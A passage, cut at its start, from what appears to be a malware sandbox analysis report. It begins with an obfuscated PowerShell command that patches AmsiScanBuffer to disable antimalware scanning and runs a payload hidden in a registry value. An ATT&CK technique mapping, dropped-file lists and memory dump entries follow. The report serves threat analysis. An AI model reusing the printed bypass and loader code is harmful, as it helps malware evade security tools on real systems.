$_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+'o'+'f'+'t'+'.'+''+'W'+''+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+''+'.'+'U'+'n'+'s'+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+'e'+''+[Char](116)+'hod'+[Char](115)+'');$tiEdyYJhLIrTGv=$FFCKmtzAqWClv.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](99)+''+'A'+''+[Char](100)+''+'d'+''+[Char](114)+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags]('P'+[Char](117)+'b'+[Char](108)+''+'i'+'c,'+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KntcJdlJfNfGkoBzqxF=tJhBiuhQdRnH @([String])([IntPtr]);$dKMQleQNdZWwuomqNwlcnc=tJhBiuhQdRnH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$uCfAltubtUS=$FFCKmtzAqWClv.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+'o'+'du'+'l'+'eH'+'a'+'nd'+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'ne'+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$JwprytzCEUqPPZ=$tiEdyYJhLIrTGv.Invoke($Null,@([Object]$uCfAltubtUS,[Object]('Lo'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$lDIYCFabSssJlWSpO=$tiEdyYJhLIrTGv.Invoke($Null,@([Object]$uCfAltubtUS,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+'ec'+'t'+'')));$UCbgVPo=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JwprytzCEUqPPZ,$KntcJdlJfNfGkoBzqxF).Invoke(''+'a'+''+'m'+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+'l');$rwTyjuKTIIfUkoScy=$tiEdyYJhLIrTGv.Invoke($Null,@([Object]$UCbgVPo,[Object](''+[Char](65)+'ms'+[Char](105)+''+'S'+'ca'+'n'+''+'B'+''+'u'+'f'+[Char](102)+''+[Char](101)+'r')));$pEAVNRTFyp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lDIYCFabSssJlWSpO,$dKMQleQNdZWwuomqNwlcnc).Invoke($rwTyjuKTIIfUkoScy,[uint32]8,4,[ref]$pEAVNRTFyp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$rwTyjuKTIIfUkoScy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lDIYCFabSssJlWSpO,$dKMQleQNdZWwuomqNwlcnc).Invoke($rwTyjuKTIIfUkoScy,[uint32]8,0x20,[ref]$pEAVNRTFyp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+'E'+'').GetValue('di'+[Char](97)+'le'+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{593a9e38-14e2-42a3-8ed0-f187acad3f91}1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{952f4925-2cca-491a-802c-725713ac1380}1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6816 -ip 68161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6844 -ip 68441⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
3Service Execution
3Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Impair Defenses
1Modify Registry
3Virtualization/Sandbox Evasion
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Process Discovery
1Query Registry
9System Information Discovery
7System Location Discovery
1System Language Discovery
1System Time Discovery
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
e58299e.rbs
e5829a4.rbs
e5829a8.rbs
deno.zip
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
the-real-index
Preferences
Secure Preferences
the-real-index
the-real-index
the-real-index~RFe58a6e9.TMP
Local State
Local State
Local State
random.exe.log
0d743e99-e5a0-4a14-8810-5294499048ae.tmp
blocklist
settings.dat
settings.dat
the-real-index
the-real-index~RFe58cc44.TMP
SiteList-Enterprise.json
Edge Profile.ico
HubApps
6df7f145-a421-4c50-a66b-89adf333b700.tmp
Network Persistent State
Preferences
Preferences
Secure Preferences
Secure Preferences
sync_diagnostic.log
CURRENT
MANIFEST-000001
Local State
Local State
Local State
Local State
data_1
357d5f51-57fd-4b59-bd43-a23a09231738.tmp
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
service[1].htm
0BD1340651D4AA8F85B88FAE370752D8F1AC9700
3F6BAE390F7FB4267066C23DBD35348B57989359
AF63B99EF5A66D483F9BDD81FA9512309EC69A60
B35F61BCA948B872A31EB1FA8F1622363D2B7FB2
B8976F63A28589A68C1A9AD802709813AF2B515D
webext.sc.lz4
aTNXbz0.msi
f4f37346d8.exe
TXpyp1Y.exe
RKXRn1l.exe
z6HdLiH.exe
ef4cf6bdfb.exe
kRHhLlh.exe
rVYGceP.exe
candy.exe
btZfO26.exe
LdlY2ri.exe
xwn3Zn2.exe
b0254c3c47.exe
790ae678e2.exe
X5P2hQO.msi
update.exe
eNLe4nm.exe
5GFpJxh.exe
1b90cc77-826f-47c6-b3f7-17199b04ffd1.tmp
7b9c34a1-487c-4c9c-9c1c-9a1cfde3fd8c.tmp
msiwrapper.ini
msiwrapper.ini
RFHsRSw.bat
cert9.db
WindowsLogsHelper.xml
WindowsLogsHelper.xml
__PSScriptPolicyTest_i5hkuqf1.q3a.ps1
7z.exe
NSudoLG.exe
game.exe
nircmd.exe
cta20yr3.em4
ffcookies_4bb4eb82-8042-4acb-b461-028fb1afb6ce.db
a7b1deba-bce1-43ba-9b07-385b8933f81b.tmp
content_new.js
svchostam.exe
svchostmanager.exe
sziunsjw.cvz
tmpaddon
tmpaddon
twvbygvc.54d
Oscar_system61.ps1
sierra70.vbs
dep_analysis_cache_v2-wal
latest.txt
node_analysis_cache_v2-wal
v8_code_cache_v2
v8_code_cache_v2-wal
AlternateServices.bin
AlternateServices.bin
compatibility.ini
data.safe.tmp
data.safe.tmp
events
0b286d81-119d-4285-9b3a-92383850f6f3
0c100031-95dc-43d7-83b6-b7f5a866fabf
35d2bf2c-774e-4998-950f-58f5bba303a9
482ae013-eb39-4cb6-bffc-5cc49bece0f2
53a2663e-8869-42ff-b39d-a4c23a02b189
86707ecc-12d6-451c-b0f3-f1307e7b706f
extensions.json
gmpopenh264.dll
gmpopenh264.info
manifest.json
widevinecdm.dll
prefs-1.js
prefs-1.js
prefs.js
prefs.js
recovery.baklz4
recovery.jsonlz4
3870112724rsegmnoittet-es.sqlite
3870112724rsegmnoittet-es.sqlite
MSIDCAF.tmp
systemhelper.exe
memory/540-324-0x0000000140000000-0x000000014065B000-memory.dmp
memory/540-1183-0x0000000140000000-0x000000014065B000-memory.dmp
memory/540-1929-0x0000000140000000-0x000000014065B000-memory.dmp
memory/540-140-0x0000000140000000-0x000000014065B000-memory.dmp
memory/540-936-0x0000000140000000-0x000000014065B000-memory.dmp
memory/540-134-0x0000000140000000-0x000000014065B000-memory.dmp
memory/540-1551-0x0000000140000000-0x000000014065B000-memory.dmp
memory/540-1552-0x0000000001ED0000-0x0000000001FFA000-memory.dmp
memory/540-325-0x0000000001ED0000-0x0000000001FFA000-memory.dmp
memory/540-23-0x0000000140000000-0x000000014065B000-memory.dmp
memory/540-141-0x0000000001ED0000-0x0000000001FFA000-memory.dmp
memory/540-326-0x0000000002190000-0x000000000219C000-memory.dmp
memory/644-2098-0x0000000000400000-0x0000000000548000-memory.dmp
memory/644-2253-0x0000000000400000-0x0000000000548000-memory.dmp
memory/996-2035-0x00007FF658000000-0x00007FF658167000-memory.dmp
memory/996-2028-0x00007FF658000000-0x00007FF658167000-memory.dmp
memory/1212-137-0x00000262ECF30000-0x00000262ED05A000-memory.dmp
memory/1632-2330-0x00007FF6215A0000-0x00007FF6216DA000-memory.dmp
memory/1632-2532-0x00007FF6215A0000-0x00007FF6216DA000-memory.dmp
memory/2012-74-0x0000000000810000-0x000000000093A000-memory.dmp
memory/2096-101-0x0000016DCF1E0000-0x0000016DCF1EC000-memory.dmp
memory/2464-1597-0x0000000000490000-0x000000000049C000-memory.dmp
memory/2464-405-0x0000000140000000-0x000000014065B000-memory.dmp
memory/2464-35-0x0000000140000000-0x000000014065B000-memory.dmp
memory/2464-958-0x0000000140000000-0x000000014065B000-memory.dmp
memory/2464-161-0x0000000140000000-0x000000014065B000-memory.dmp
memory/2464-1596-0x0000000000BE0000-0x0000000000D0A000-memory.dmp
memory/2464-1595-0x0000000140000000-0x000000014065B000-memory.dmp
memory/2464-162-0x0000000000BE0000-0x0000000000D0A000-memory.dmp
memory/2464-1356-0x0000000140000000-0x000000014065B000-memory.dmp
memory/2776-1953-0x000001BC87D10000-0x000001BC87D76000-memory.dmp
memory/2776-1956-0x00007FF6E0CF0000-0x00007FF6E0F77000-memory.dmp
memory/2776-1949-0x000001BC87D10000-0x000001BC87D76000-memory.dmp
memory/2776-1948-0x000001BC87D10000-0x000001BC87D76000-memory.dmp
memory/2776-1947-0x00007FF6E0CF0000-0x00007FF6E0F77000-memory.dmp
memory/2796-20-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/2796-139-0x0000000007880000-0x000000000791F000-memory.dmp
memory/2796-184-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/2796-19-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/2796-21-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/2796-118-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/2796-183-0x0000000007880000-0x000000000791F000-memory.dmp
memory/2948-191-0x0000025738FF0000-0x000002573911A000-memory.dmp
memory/2964-104-0x0000000000760000-0x000000000088A000-memory.dmp
memory/3224-2498-0x00007FF6356E0000-0x00007FF635C0A000-memory.dmp
memory/3224-2314-0x00007FF6356E0000-0x00007FF635C0A000-memory.dmp
memory/3304-2333-0x00007FF631930000-0x00007FF6319DA000-memory.dmp
memory/3304-2145-0x00007FF631930000-0x00007FF6319DA000-memory.dmp
memory/3496-114-0x00000204278B0000-0x00000204278D2000-memory.dmp
memory/3496-119-0x0000020440020000-0x00000204401E2000-memory.dmp
memory/3496-258-0x0000020427190000-0x000002042719C000-memory.dmp
memory/3496-257-0x00000204256D0000-0x0000020425871000-memory.dmp
memory/3848-2671-0x00007FF706810000-0x00007FF7068F6000-memory.dmp
memory/3848-2729-0x00007FF706810000-0x00007FF7068F6000-memory.dmp
memory/4460-3273-0x00007FF6BFD50000-0x00007FF6BFE13000-memory.dmp
memory/5020-1-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/5020-3-0x0000000007ED0000-0x0000000007EF2000-memory.dmp
memory/5020-31-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/5020-2-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/5020-0-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/5020-211-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/5052-762-0x0000000140000000-0x000000014065B000-memory.dmp
memory/5052-190-0x0000000002190000-0x000000000219C000-memory.dmp
memory/5052-1806-0x0000000140000000-0x000000014065B000-memory.dmp
memory/5052-189-0x0000000001F50000-0x000000000207A000-memory.dmp
memory/5052-42-0x0000000140000000-0x000000014065B000-memory.dmp
memory/5052-85-0x0000000140000000-0x000000014065B000-memory.dmp
memory/5052-188-0x0000000140000000-0x000000014065B000-memory.dmp
memory/5052-986-0x0000000140000000-0x000000014065B000-memory.dmp
memory/5052-1472-0x0000000140000000-0x000000014065B000-memory.dmp
memory/5052-11-0x0000000140000000-0x000000014065B000-memory.dmp
memory/5052-86-0x0000000001F50000-0x000000000207A000-memory.dmp
memory/5108-26-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/5108-24-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/5108-25-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/5108-144-0x0000000006730000-0x00000000067CF000-memory.dmp
memory/5108-145-0x0000000000CC0000-0x000000000161C000-memory.dmp
memory/5196-157-0x00000271588E0000-0x0000027158A3C000-memory.dmp
memory/5196-163-0x000002715A590000-0x000002715A59C000-memory.dmp
memory/5208-136-0x0000013D29CA0000-0x0000013D29DCA000-memory.dmp
memory/5280-2293-0x0000000007AA0000-0x0000000007AB2000-memory.dmp
memory/5280-2292-0x00000000071B0000-0x00000000071BA000-memory.dmp
memory/5280-1986-0x0000000005780000-0x0000000005942000-memory.dmp
memory/5280-2193-0x0000000007A30000-0x0000000007A96000-memory.dmp
memory/5280-2013-0x0000000005720000-0x0000000005770000-memory.dmp
memory/5280-2014-0x0000000005B10000-0x0000000005B86000-memory.dmp
memory/5280-2015-0x00000000060C0000-0x00000000065EC000-memory.dmp
memory/5280-2024-0x0000000005C70000-0x0000000005C8E000-memory.dmp
memory/5280-2248-0x0000000007B40000-0x0000000007BD2000-memory.dmp
memory/5280-1978-0x0000000000B40000-0x0000000000DC4000-memory.dmp
memory/5280-2036-0x00000000065F0000-0x0000000006A6E000-memory.dmp
memory/5296-2212-0x00007FF618750000-0x00007FF618B78000-memory.dmp
memory/5296-2208-0x00007FF618750000-0x00007FF618B78000-memory.dmp
memory/5400-1008-0x000002DEF53F0000-0x000002DEF551A000-memory.dmp
memory/5400-789-0x000002DEF53F0000-0x000002DEF551A000-memory.dmp
memory/5400-1812-0x000002DEF53F0000-0x000002DEF551A000-memory.dmp
memory/5436-2291-0x00007FF6A6B50000-0x00007FF6A6FBC000-memory.dmp
memory/5436-2441-0x00007FF6A6B50000-0x00007FF6A6FBC000-memory.dmp
memory/5436-2123-0x00007FF6A6B50000-0x00007FF6A6FBC000-memory.dmp
memory/5524-2352-0x00007FF641C80000-0x00007FF641FA3000-memory.dmp
memory/5524-2170-0x00007FF641C80000-0x00007FF641FA3000-memory.dmp
memory/5896-1007-0x00000179C4D10000-0x00000179C4D1C000-memory.dmp
memory/6028-193-0x00000000001F0000-0x00000000001F8000-memory.dmp
memory/6064-2180-0x00007FF7B55C0000-0x00007FF7B57AE000-memory.dmp
memory/6064-2358-0x00007FF7B55C0000-0x00007FF7B57AE000-memory.dmp
memory/6068-3186-0x00007FF67CF10000-0x00007FF67CFF6000-memory.dmp
memory/6068-3235-0x00007FF67CF10000-0x00007FF67CFF6000-memory.dmp
memory/6360-277-0x00000291FB400000-0x00000291FB5A1000-memory.dmp
memory/6508-2362-0x00007FF652D20000-0x00007FF653073000-memory.dmp
memory/6508-2575-0x00007FF652D20000-0x00007FF653073000-memory.dmp
memory/6712-1157-0x0000025056630000-0x000002505675A000-memory.dmp
memory/6712-1919-0x0000025056630000-0x000002505675A000-memory.dmp
memory/6712-925-0x0000025056630000-0x000002505675A000-memory.dmp
memory/7036-877-0x000001CB3F850000-0x000001CB3F85C000-memory.dmp
memory/7036-327-0x00007FF7D1A90000-0x00007FF7D1B76000-memory.dmp
memory/7036-878-0x00007FF7D1A90000-0x00007FF7D1B76000-memory.dmp
memory/7068-2430-0x000001EAB8260000-0x000001EAB82D6000-memory.dmp
memory/7068-2428-0x000001EAB8190000-0x000001EAB81D4000-memory.dmp
memory/7536-3215-0x00007FF6870C0000-0x00007FF6871A6000-memory.dmp
memory/7536-3278-0x00007FF6870C0000-0x00007FF6871A6000-memory.dmp
memory/7572-963-0x00000214A6DC0000-0x00000214A6DD2000-memory.dmp
memory/7572-961-0x00000214A6D20000-0x00000214A6D2A000-memory.dmp
memory/7572-985-0x000002148C900000-0x000002148C90C000-memory.dmp
memory/7700-2455-0x00007FF69EFB0000-0x00007FF69F26D000-memory.dmp
memory/7700-2240-0x00007FF69EFB0000-0x00007FF69F26D000-memory.dmp
memory/7796-1920-0x00007FF7C1310000-0x00007FF7C13F6000-memory.dmp
memory/7796-1921-0x000001CF7E940000-0x000001CF7E9A6000-memory.dmp
memory/7796-2104-0x00007FF7C1310000-0x00007FF7C13F6000-memory.dmp
memory/7796-1922-0x000001CF7E940000-0x000001CF7E9A6000-memory.dmp
memory/7888-2318-0x00007FF6D1890000-0x00007FF6D1976000-memory.dmp
memory/7888-2142-0x00007FF6D1890000-0x00007FF6D1976000-memory.dmp
memory/7888-2310-0x00007FF6D1890000-0x00007FF6D1976000-memory.dmp
memory/7992-1177-0x0000000140000000-0x0000000140039000-memory.dmp
memory/8000-2239-0x00007FF6E1920000-0x00007FF6E1A09000-memory.dmp
memory/8000-2074-0x00007FF6E1920000-0x00007FF6E1A09000-memory.dmp
memory/8064-935-0x00000212B0D00000-0x00000212B0D0C000-memory.dmp
memory/8092-1065-0x000001A4B5840000-0x000001A4B584C000-memory.dmp
memory/8092-1066-0x00007FF641ED0000-0x00007FF641FB6000-memory.dmp
memory/8092-960-0x00007FF641ED0000-0x00007FF641FB6000-memory.dmp
memory/8108-2105-0x00007FF6DFF20000-0x00007FF6DFFC7000-memory.dmp
memory/8108-2258-0x00007FF6DFF20000-0x00007FF6DFFC7000-memory.dmp
memory/8160-2190-0x00007FF633000000-0x00007FF63318E000-memory.dmp
memory/8160-2435-0x00007FF633000000-0x00007FF63318E000-memory.dmp
memory/8300-1017-0x00000213D0590000-0x00000213D059C000-memory.dmp
memory/8332-2122-0x00007FF6E6830000-0x00007FF6E6913000-memory.dmp
memory/8332-1932-0x00007FF6E6830000-0x00007FF6E6913000-memory.dmp
memory/8332-1933-0x0000022D8FD90000-0x0000022D8FDF6000-memory.dmp
memory/8332-1934-0x0000022D8FD90000-0x0000022D8FDF6000-memory.dmp
memory/8528-1781-0x0000000140000000-0x0000000140039000-memory.dmp
memory/8668-983-0x000002171B6D0000-0x000002171B6DC000-memory.dmp
memory/8668-898-0x00007FF771D70000-0x00007FF771E56000-memory.dmp
memory/8668-984-0x00007FF771D70000-0x00007FF771E56000-memory.dmp
memory/8676-2207-0x00007FF6BA900000-0x00007FF6BAA13000-memory.dmp
memory/8676-2038-0x00007FF6BA900000-0x00007FF6BAA13000-memory.dmp
memory/8776-1882-0x0000021C3DF20000-0x0000021C3DF86000-memory.dmp
memory/8776-1881-0x0000021C3DF20000-0x0000021C3DF86000-memory.dmp
memory/8840-3160-0x00007FF729A10000-0x00007FF729AF6000-memory.dmp
memory/8840-3057-0x00007FF729A10000-0x00007FF729AF6000-memory.dmp
memory/8992-2261-0x00007FF698290000-0x00007FF69876C000-memory.dmp
memory/8992-2482-0x00007FF698290000-0x00007FF69876C000-memory.dmp